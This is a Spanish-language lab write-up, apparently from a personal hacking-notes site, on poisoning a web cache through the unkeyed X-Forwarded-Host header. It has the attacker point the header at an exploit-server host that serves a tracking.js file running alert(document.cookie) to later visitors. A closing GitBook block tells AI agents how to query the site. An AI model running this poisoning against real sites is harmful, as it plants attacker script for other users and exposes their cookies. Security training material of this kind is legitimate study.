> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/cache-poisoning/web-cache-poisoning-with-unkeyed-header.md).
# Envenenamiento de caché con un encabezado no incluido en la clave
### Envenenamiento de la caché web con un encabezado no indexado
Esta aplicación es vulnerable a un **envenenamiento de la caché web** porque maneja de forma peligrosa una entrada de un **encabezado no indexado**. / Un usuario legítimo visita regularmente la página principal del sitio.
\*\*Objetivo:\*\*/ Envenenar la caché para que la página principal sirva una respuesta que ejecute `alert(document.cookie)` en el navegador de la víctima.
**Análisis del comportamiento de la caché**
* Al interceptar la solicitud a la página principal, un **`Age`** se observa parámetro en la respuesta, lo que indica que el recurso está almacenado en caché durante **30 segundos**.
* Al añadir un parámetro arbitrario a la URL, por ejemplo `?test=1`, muestra que:
* La clave de caché se regenera.
* El contenido almacenado en caché puede modificarse y servirse a otros usuarios durante el período de la caché.
Si se logra envenenar la respuesta raíz (`/`), cualquier visitante verá este contenido malicioso durante estos 30 segundos
**Buscar encabezados explotables**
* Usando **Param Miner** en Burp Suite:
* Dado que el **Repeater**, la función **Adivinar encabezados** se utiliza.
La extensión detecta un comportamiento de envenenamiento de la caché asociada al encabezado **`X-Forwarded-Host`**.
**Operación de encabezado no indexado**
* El siguiente encabezado se añade a la solicitud:
```http
X-Forwarded-Host: test.com
```
* La respuesta entonces incluye la carga de un recurso JavaScript desde este dominio.
* Al recargar, la aplicación siempre intenta recuperar este script, lo que confirma que la respuesta está almacenada en caché.
**Redirección al servidor de explotación**
* El valor del encabezado se reemplaza por el **dominio del servidor**:
```http
X-Forwarded-Host: exploit-0a1c0025035a473c807ce8e901e3001a.exploit-server.net
```
La aplicación entonces intenta cargar el siguiente recurso:
**Inyección de carga maliciosa**
* En el servidor de explotación, creas el archivo:
```javascript
/resources/js/tracking.js
```
Contenido del archivo:
```javascript
alert(document.cookie)
```
* Este script ahora se incluye en la respuesta almacenada en caché.
**Resultado**
* Cuando un usuario visita la página principal durante el período de validez de la caché:
* El navegador carga el script envenenado.
* Aparece un cuadro de diálogo con `document.cookie`.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/es/web/cache-poisoning/web-cache-poisoning-with-unkeyed-header.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.